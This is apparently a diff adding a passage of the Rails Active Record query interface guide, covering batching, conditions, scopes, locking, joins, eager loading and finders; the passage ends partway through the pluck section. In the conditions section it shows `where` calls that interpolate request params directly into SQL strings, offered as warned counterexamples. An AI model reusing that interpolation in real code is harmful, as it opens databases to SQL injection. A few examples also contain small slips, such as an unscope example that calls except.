+But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
+
+Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
+
+TIP: The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
+
+#### `find_each`
+
+The `find_each` method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, `find_each` will retrieve 1000 records (the current default for both `find_each` and `find_in_batches`) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
+
+```ruby
+User.find_each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+```
+
+##### Options for `find_each`
+
+The `find_each` method accepts most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_each`.
+
+Two additional options, `:batch_size` and `:start`, are available as well.
+
+**`:batch_size`**
+
+The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
+
+```ruby
+User.find_each(batch_size: 5000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+```
+
+**`:start`**
+
+By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
+
+For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
+
+```ruby
+User.find_each(start: 2000, batch_size: 5000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+```
+
+Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate `:start` option on each worker.
+
+#### `find_in_batches`
+
+The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
+
+```ruby
+# Give add_invoices an array of 1000 invoices at a time
+Invoice.find_in_batches(include: :invoice_lines) do |invoices|
+  export.add_invoices(invoices)
+end
+```
+
+NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models.
+
+##### Options for `find_in_batches`
+
+The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`.
+
+Conditions
+----------
+
+The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+
+### Pure String Conditions
+
+If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array.
+
+### Array Conditions
+
+Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
+
+```ruby
+Client.where("orders_count = ?", params[:orders])
+```
+
+Active Record will go through the first element in the conditions value and any additional elements will replace the question marks `(?)` in the first element.
+
+If you want to specify multiple conditions:
+
+```ruby
+Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+```
+
+In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter.
+
+This code is highly preferable:
+
+```ruby
+Client.where("orders_count = ?", params[:orders])
+```
+
+to this code:
+
+```ruby
+Client.where("orders_count = #{params[:orders]}")
+```
+
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
+
+#### Placeholder Conditions
+
+Similar to the `(?)` replacement style of params, you can also specify keys/values hash in your array conditions:
+
+```ruby
+Client.where("created_at >= :start_date AND created_at <= :end_date",
+  {start_date: params[:start_date], end_date: params[:end_date]})
+```
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+### Hash Conditions
+
+Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
+
+NOTE: Only equality, range and subset checking are possible with Hash conditions.
+
+#### Equality Conditions
+
+```ruby
+Client.where(locked: true)
+```
+
+The field name can also be a string:
+
+```ruby
+Client.where('locked' => true)
+```
+
+In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.
+
+```ruby
+Post.where(author: author)
+Author.joins(:posts).where(posts: { author: author })
+```
+
+NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`.
+
+#### Range Conditions
+
+```ruby
+Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+```
+
+This will find all clients created yesterday by using a `BETWEEN` SQL statement:
+
+```sql
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+```
+
+This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions)
+
+#### Subset Conditions
+
+If you want to find records using the `IN` expression you can pass an array to the conditions hash:
+
+```ruby
+Client.where(orders_count: [1,3,5])
+```
+
+This code will generate SQL like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+```
+
+### NOT Conditions
+
+`NOT` SQL queries can be built by `where.not`.
+
+```ruby
+Post.where.not(author: author)
+```
+
+In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions.
+
+Ordering
+--------
+
+To retrieve records from the database in a specific order, you can use the `order` method.
+
+For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:
+
+```ruby
+Client.order(:created_at)
+# OR
+Client.order("created_at")
+```
+
+You could specify `ASC` or `DESC` as well:
+
+```ruby
+Client.order(created_at: :desc)
+# OR
+Client.order(created_at: :asc)
+# OR
+Client.order("created_at DESC")
+# OR
+Client.order("created_at ASC")
+```
+
+Or ordering by multiple fields:
+
+```ruby
+Client.order(orders_count: :asc, created_at: :desc)
+# OR
+Client.order(:orders_count, created_at: :desc)
+# OR
+Client.order("orders_count ASC, created_at DESC")
+# OR
+Client.order("orders_count ASC", "created_at DESC")
+```
+
+If you want to call `order` multiple times e.g. in different context, new order will append previous one
+
+```ruby
+Client.order("orders_count ASC").order("created_at DESC")
+# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC
+```
+
+Selecting Specific Fields
+-------------------------
+
+By default, `Model.find` selects all the fields from the result set using `select *`.
+
+To select only a subset of fields from the result set, you can specify the subset via the `select` method.
+
+For example, to select only `viewable_by` and `locked` columns:
+
+```ruby
+Client.select("viewable_by, locked")
+```
+
+The SQL query used by this find call will be somewhat like:
+
+```sql
+SELECT viewable_by, locked FROM clients
+```
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+```bash
+ActiveModel::MissingAttributeError: missing attribute: <attribute>
+```
+
+Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
+
+If you would like to only grab a single record per unique value in a certain field, you can use `distinct`:
+
+```ruby
+Client.select(:name).distinct
+```
+
+This would generate SQL like:
+
+```sql
+SELECT DISTINCT name FROM clients
+```
+
+You can also remove the uniqueness constraint:
+
+```ruby
+query = Client.select(:name).distinct
+# => Returns unique names
+
+query.distinct(false)
+# => Returns all names, even if there are duplicates
+```
+
+Limit and Offset
+----------------
+
+To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation.
+
+You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example
+
+```ruby
+Client.limit(5)
+```
+
+will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
+
+```sql
+SELECT * FROM clients LIMIT 5
+```
+
+Adding `offset` to that
+
+```ruby
+Client.limit(5).offset(30)
+```
+
+will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
+
+```sql
+SELECT * FROM clients LIMIT 5 OFFSET 30
+```
+
+Group
+-----
+
+To apply a `GROUP BY` clause to the SQL fired by the finder, you can specify the `group` method on the find.
+
+For example, if you want to find a collection of the dates orders were created on:
+
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+```
+
+And this will give you a single `Order` object for each date where there are orders in the database.
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+```
+
+Having
+------
+
+SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `:having` option to the find.
+
+For example:
+
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").
+  group("date(created_at)").having("sum(price) > ?", 100)
+```
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+HAVING sum(price) > 100
+```
+
+This will return single order objects for each day, but only those that are ordered more than $100 in a day.
+
+Overriding Conditions
+---------------------
+
+### `unscope`
+
+You can specify certain conditions to be removed using the `unscope` method. For example:
+
+```ruby
+Post.where('id > 10').limit(20).order('id asc').except(:order)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id > 10 LIMIT 20
+
+# Original query without `unscope`
+SELECT * FROM posts WHERE id > 10 ORDER BY id asc LIMIT 20
+
+```
+
+You can additionally unscope specific where clauses. For example:
+
+```ruby
+Post.where(id: 10, trashed: false).unscope(where: :id)
+# SELECT "posts".* FROM "posts" WHERE trashed = 0
+```
+
+A relation which has used `unscope` will affect any relation it is
+merged in to:
+
+```ruby
+Post.order('id asc').merge(Post.unscope(:order))
+# SELECT "posts".* FROM "posts"
+```
+
+### `only`
+
+You can also override conditions using the `only` method. For example:
+
+```ruby
+Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
+
+# Original query without `only`
+SELECT "posts".* FROM "posts" WHERE (id > 10) ORDER BY id desc LIMIT 20
+
+```
+
+### `reorder`
+
+The `reorder` method overrides the default scope order. For example:
+
+```ruby
+class Post < ActiveRecord::Base
+  ..
+  ..
+  has_many :comments, -> { order('posted_at DESC') }
+end
+
+Post.find(10).comments.reorder('name')
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY name
+```
+
+In case the `reorder` clause is not used, the SQL executed would be:
+
+```sql
+SELECT * FROM posts WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC
+```
+
+### `reverse_order`
+
+The `reverse_order` method reverses the ordering clause if specified.
+
+```ruby
+Client.where("orders_count > 10").order(:name).reverse_order
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+```
+
+If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order.
+
+```ruby
+Client.where("orders_count > 10").reverse_order
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+```
+
+This method accepts **no** arguments.
+
+### `rewhere`
+
+The `rewhere` method overrides an existing, named where condition. For example:
+
+```ruby
+Post.where(trashed: true).rewhere(trashed: false)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE `trashed` = 0
+```
+
+In case the `rewhere` clause is not used,
+
+```ruby
+Post.where(trashed: true).where(trashed: false)
+```
+
+the SQL executed would be:
+
+```sql
+SELECT * FROM posts WHERE `trashed` = 1 AND `trashed` = 0
+```
+
+Null Relation
+-------------
+
+The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
+
+```ruby
+Post.none # returns an empty Relation and fires no queries.
+```
+
+```ruby
+# The visible_posts method below is expected to return a Relation.
+ at posts = current_user.visible_posts.where(name: params[:name])
+
+def visible_posts
+  case role
+  when 'Country Manager'
+    Post.where(country: country)
+  when 'Reviewer'
+    Post.published
+  when 'Bad User'
+    Post.none # => returning [] or nil breaks the caller code in this case
+  end
+end
+```
+
+Readonly Objects
+----------------
+
+Active Record provides `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.
+
+```ruby
+client = Client.readonly.first
+client.visits += 1
+client.save
+```
+
+As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_.
+
+Locking Records for Update
+--------------------------
+
+Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
+
+Active Record provides two locking mechanisms:
+
+* Optimistic Locking
+* Pessimistic Locking
+
+### Optimistic Locking
+
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored.
+
+**Optimistic locking column**
+
+In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example:
+
+```ruby
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises an ActiveRecord::StaleObjectError
+```
+
+You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
+
+This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`.
+
+To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`:
+
+```ruby
+class Client < ActiveRecord::Base
+  self.locking_column = :lock_client_column
+end
+```
+
+### Pessimistic Locking
+
+Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.
+
+For example:
+
+```ruby
+Item.transaction do
+  i = Item.lock.first
+  i.name = 'Jones'
+  i.save
+end
+```
+
+The above session produces the following SQL for a MySQL backend:
+
+```sql
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+```
+
+You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+```ruby
+Item.transaction do
+  i = Item.lock("LOCK IN SHARE MODE").find(1)
+  i.increment!(:views)
+end
+```
+
+If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:
+
+```ruby
+item = Item.first
+item.with_lock do
+  # This block is called within a transaction,
+  # item is already locked.
+  item.increment!(:views)
+end
+```
+
+Joining Tables
+--------------
+
+Active Record provides a finder method called `joins` for specifying `JOIN` clauses on the resulting SQL. There are multiple ways to use the `joins` method.
+
+### Using a String SQL Fragment
+
+You can just supply the raw SQL specifying the `JOIN` clause to `joins`:
+
+```ruby
+Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
+```
+
+This will result in the following SQL:
+
+```sql
+SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
+```
+
+### Using Array/Hash of Named Associations
+
+WARNING: This method only works with `INNER JOIN`.
+
+Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
+
+For example, consider the following `Category`, `Post`, `Comment`, `Guest` and `Tag` models:
+
+```ruby
+class Category < ActiveRecord::Base
+  has_many :posts
+end
+
+class Post < ActiveRecord::Base
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :post
+  has_one :guest
+end
+
+class Guest < ActiveRecord::Base
+  belongs_to :comment
+end
+
+class Tag < ActiveRecord::Base
+  belongs_to :post
+end
+```
+
+Now all of the following will produce the expected join queries using `INNER JOIN`:
+
+#### Joining a Single Association
+
+```ruby
+Category.joins(:posts)
+```
+
+This produces:
+
+```sql
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+```
+
+Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).uniq`.
+
+#### Joining Multiple Associations
+
+```ruby
+Post.joins(:category, :comments)
+```
+
+This produces:
+
+```sql
+SELECT posts.* FROM posts
+  INNER JOIN categories ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+```
+
+Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
+
+#### Joining Nested Associations (Single Level)
+
+```ruby
+Post.joins(comments: :guest)
+```
+
+This produces:
+
+```sql
+SELECT posts.* FROM posts
+  INNER JOIN comments ON comments.post_id = posts.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+```
+
+Or, in English: "return all posts that have a comment made by a guest."
+
+#### Joining Nested Associations (Multiple Level)
+
+```ruby
+Category.joins(posts: [{ comments: :guest }, :tags])
+```
+
+This produces:
+
+```sql
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+  INNER JOIN tags ON tags.post_id = posts.id
+```
+
+### Specifying Conditions on the Joined Tables
+
+You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provides a special syntax for specifying conditions for the joined tables:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' => time_range)
+```
+
+An alternative and cleaner syntax is to nest the hash conditions:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(orders: { created_at: time_range })
+```
+
+This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
+
+Eager Loading Associations
+--------------------------
+
+Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible.
+
+**N + 1 queries problem**
+
+Consider the following code, which finds 10 clients and prints their postcodes:
+
+```ruby
+clients = Client.limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+```
+
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total.
+
+**Solution to N + 1 queries problem**
+
+Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
+
+Revisiting the above case, we could rewrite `Client.limit(10)` to use eager load addresses:
+
+```ruby
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+```
+
+The above code will execute just **2** queries, as opposed to **11** queries in the previous case:
+
+```sql
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+```
+
+### Eager Loading Multiple Associations
+
+Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method.
+
+#### Array of Multiple Associations
+
+```ruby
+Post.includes(:category, :comments)
+```
+
+This loads all the posts and the associated category and comments for each post.
+
+#### Nested Associations Hash
+
+```ruby
+Category.includes(posts: [{ comments: :guest }, :tags]).find(1)
+```
+
+This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
+
+### Specifying Conditions on Eager Loaded Associations
+
+Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead.
+
+However if you must do this, you may use `where` as you would normally.
+
+```ruby
+Post.includes(:comments).where("comments.visible" => true)
+```
+
+This would generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method would generate one using the `INNER JOIN` function instead.
+
+```ruby
+  SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
+```
+
+If there was no `where` condition, this would generate the normal set of two queries.
+
+If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned.
+
+Scopes
+------
+
+Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it.
+
+To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called:
+
+```ruby
+class Post < ActiveRecord::Base
+  scope :published, -> { where(published: true) }
+end
+```
+
+This is exactly the same as defining a class method, and which you use is a matter of personal preference:
+
+```ruby
+class Post < ActiveRecord::Base
+  def self.published
+    where(published: true)
+  end
+end
+```
+
+Scopes are also chainable within scopes:
+
+```ruby
+class Post < ActiveRecord::Base
+  scope :published,               -> { where(published: true) }
+  scope :published_and_commented, -> { published.where("comments_count > 0") }
+end
+```
+
+To call this `published` scope we can call it on either the class:
+
+```ruby
+Post.published # => [published posts]
+```
+
+Or on an association consisting of `Post` objects:
+
+```ruby
+category = Category.first
+category.posts.published # => [published posts belonging to this category]
+```
+
+### Passing in arguments
+
+Your scope can take arguments:
+
+```ruby
+class Post < ActiveRecord::Base
+  scope :created_before, ->(time) { where("created_at < ?", time) }
+end
+```
+
+Call the scope as if it were a class method:
+
+```ruby
+Post.created_before(Time.zone.now)
+```
+
+However, this is just duplicating the functionality that would be provided to you by a class method.
+
+```ruby
+class Post < ActiveRecord::Base
+  def self.created_before(time)
+    where("created_at < ?", time)
+  end
+end
+```
+
+Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
+
+```ruby
+category.posts.created_before(time)
+```
+
+### Merging of scopes
+
+Just like `where` clauses scopes are merged using `AND` conditions.
+
+```ruby
+class User < ActiveRecord::Base
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.active.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+```
+
+We can mix and match `scope` and `where` conditions and the final sql
+will have all conditions joined with `AND`.
+
+```ruby
+User.active.where(state: 'finished')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+```
+
+If we do want the `last where clause` to win then `Relation#merge` can
+be used.
+
+```ruby
+User.active.merge(User.inactive)
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+One important caveat is that `default_scope` will be prepended in
+`scope` and `where` conditions.
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+```
+
+As you can see above the `default_scope` is being merged in both
+`scope` and `where` conditions.
+
+
+### Applying a default scope
+
+If we wish for a scope to be applied across all queries to the model we can use the
+`default_scope` method within the model itself.
+
+```ruby
+class Client < ActiveRecord::Base
+  default_scope { where("removed_at IS NULL") }
+end
+```
+
+When queries are executed on this model, the SQL query will now look something like
+this:
+
+```sql
+SELECT * FROM clients WHERE removed_at IS NULL
+```
+
+If you need to do more complex things with a default scope, you can alternatively
+define it as a class method:
+
+```ruby
+class Client < ActiveRecord::Base
+  def self.default_scope
+    # Should return an ActiveRecord::Relation.
+  end
+end
+```
+
+### Removing All Scoping
+
+If we wish to remove scoping for any reason we can use the `unscoped` method. This is
+especially useful if a `default_scope` is specified in the model and should not be
+applied for this particular query.
+
+```ruby
+Client.unscoped.load
+```
+
+This method removes all scoping and will do a normal query on the table.
+
+Note that chaining `unscoped` with a `scope` does not work. In these cases, it is
+recommended that you use the block form of `unscoped`:
+
+```ruby
+Client.unscoped {
+  Client.created_before(Time.zone.now)
+}
+```
+
+Dynamic Finders
+---------------
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods.
+
+You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
+
+If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`.
+
+Find or Build a New Object
+--------------------------
+
+NOTE: Some dynamic finders have been deprecated in Rails 4.0 and will be
+removed in Rails 4.1. The best practice is to use Active Record scopes
+instead. You can find the deprecation gem at
+https://github.com/rails/activerecord-deprecated_finders
+
+It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.
+
+### `find_or_create_by`
+
+The `find_or_create_by` method checks whether a record with the attributes exists. If it doesn't, then `create` is called. Let's see an example.
+
+Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running:
+
+```ruby
+Client.find_or_create_by(first_name: 'Andy')
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+```
+
+The SQL generated by this method looks like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+BEGIN
+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
+COMMIT
+```
+
+`find_or_create_by` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
+
+The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
+
+Suppose we want to set the 'locked' attribute to `false` if we're
+creating a new record, but we don't want to include it in the query. So
+we want to find the client named "Andy", or if that client doesn't
+exist, create a client named "Andy" which is not locked.
+
+We can achieve this in two ways. The first is to use `create_with`:
+
+```ruby
+Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')
+```
+
+The second way is using a block:
+
+```ruby
+Client.find_or_create_by(first_name: 'Andy') do |c|
+  c.locked = false
+end
+```
+
+The block will only be executed if the client is being created. The
+second time we run this code, the block will be ignored.
+
+### `find_or_create_by!`
+
+You can also use `find_or_create_by!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
+
+```ruby
+validates :orders_count, presence: true
+```
+
+to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised:
+
+```ruby
+Client.find_or_create_by!(first_name: 'Andy')
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+```
+
+### `find_or_initialize_by`
+
+The `find_or_initialize_by` method will work just like
+`find_or_create_by` but it will call `new` instead of `create`. This
+means that a new model instance will be created in memory but won't be
+saved to the database. Continuing with the `find_or_create_by` example, we
+now want the client named 'Nick':
+
+```ruby
+nick = Client.find_or_initialize_by(first_name: 'Nick')
+# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
+```
+
+Because the object is not yet stored in the database, the SQL generated looks like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+```
+
+When you want to save it to the database, just call `save`:
+
+```ruby
+nick.save
+# => true
+```
+
+Finding by SQL
+--------------
+
+If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
+
+```ruby
+Client.find_by_sql("SELECT * FROM clients
+  INNER JOIN orders ON clients.id = orders.client_id
+  ORDER BY clients.created_at desc")
+```
+
+`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+### `select_all`
+
+`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+```ruby
+Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+```
+
+### `pluck`
+
+`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+
+```ruby
+Client.where(active: true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+# => [1, 2, 3]
+
+Client.distinct.pluck(:role)
+# SELECT DISTINCT role FROM clients
